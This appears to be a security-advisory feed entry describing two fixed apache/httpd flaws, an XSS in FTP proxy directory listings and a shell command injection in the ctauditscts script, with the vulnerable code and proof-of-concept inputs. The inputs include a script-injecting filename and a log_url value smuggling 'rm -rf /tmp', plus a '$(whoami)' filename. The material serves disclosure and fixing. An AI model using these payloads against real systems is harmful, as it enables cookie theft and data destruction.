Commit: e86bf540f166b3a322f7e7f9cd4aad4cd44deee6

Author: Joe Orton

The FTP proxy directory listing code used `ap_escape_uri()` for href attributes in generated HTML links. `ap_escape_uri()` does not escape HTML special characters like `&lt;`, `&gt;`, `"`, and `&`, so a malicious FTP server could return filenames containing HTML/JavaScript that would be injected unescaped into the href attribute of generated links. The fix replaces `ap_escape_uri()` with `ap_os_escape_path()` (for path encoding) wrapped in `ap_escape_html()` (for HTML entity encoding), properly neutralizing any HTML-special characters in filenames.

🔍 View Affected Code & PoC

Affected Code

str = apr_psprintf(p, "%s <a href=\"%s\">%s %s</a>\n",
                           ap_escape_html(p, ctx->buffer),
                           ap_escape_uri(p, filename),
                           ap_escape_html(p, filename),
                           ap_escape_html(p, link_ptr));

Proof of Concept

A malicious FTP server returns a directory listing with a filename like: `"><script>alert(document.cookie)</script><a href="x`

When the proxy generates the HTML listing, `ap_escape_uri()` would not escape the `"` or `<>` characters in the filename, producing:
`<a href=""><script>alert(document.cookie)</script><a href="x">` 
This executes arbitrary JavaScript in the browser of any user viewing the FTP directory listing through the Apache proxy.

🔥 HIGH VERIFIED Command Injection

Jun 4, 2026, 07:52 AM — apache/httpd

Commit: 85d1cb9a337d90884c07549093cf5381d86f3316

Author: Joe Orton

The ctauditscts script constructed a shell command string by interpolating unsanitized values (specifically tmp_leaf_pem\[1\] filename and timestamp_ms, and potentially log_url from the database) directly into a string passed to os.system(). An attacker who could control the temporary file path or log_url value (e.g., via a malicious log URL in the SQLite database containing shell metacharacters) could inject arbitrary shell commands. The fix replaces os.system() with subprocess.call() using a list of arguments, which bypasses the shell entirely and prevents command injection.

🔍 View Affected Code & PoC

Affected Code

cmd = 'verify_single_proof.py --cert %s --timestamp %s %s' % \
      (tmp_leaf_pem[1], timestamp_ms, log_url_arg)
print '>%s<' % cmd
os.system(cmd)

Proof of Concept

If an attacker can insert a malicious log_url into the loginfo SQLite database (e.g., via a compromised CT log or database manipulation), they could set log_url to: 'example.com/log; rm -rf /tmp; echo pwned'. This would result in log_url_arg = '--log_url example.com/log; rm -rf /tmp; echo pwned', and the constructed cmd string passed to os.system() would execute the injected shell commands. Alternatively, if the audit file path contains shell metacharacters (e.g., a filename like '/tmp/audit$(whoami).bin'), the os.system() call would execute embedded commands.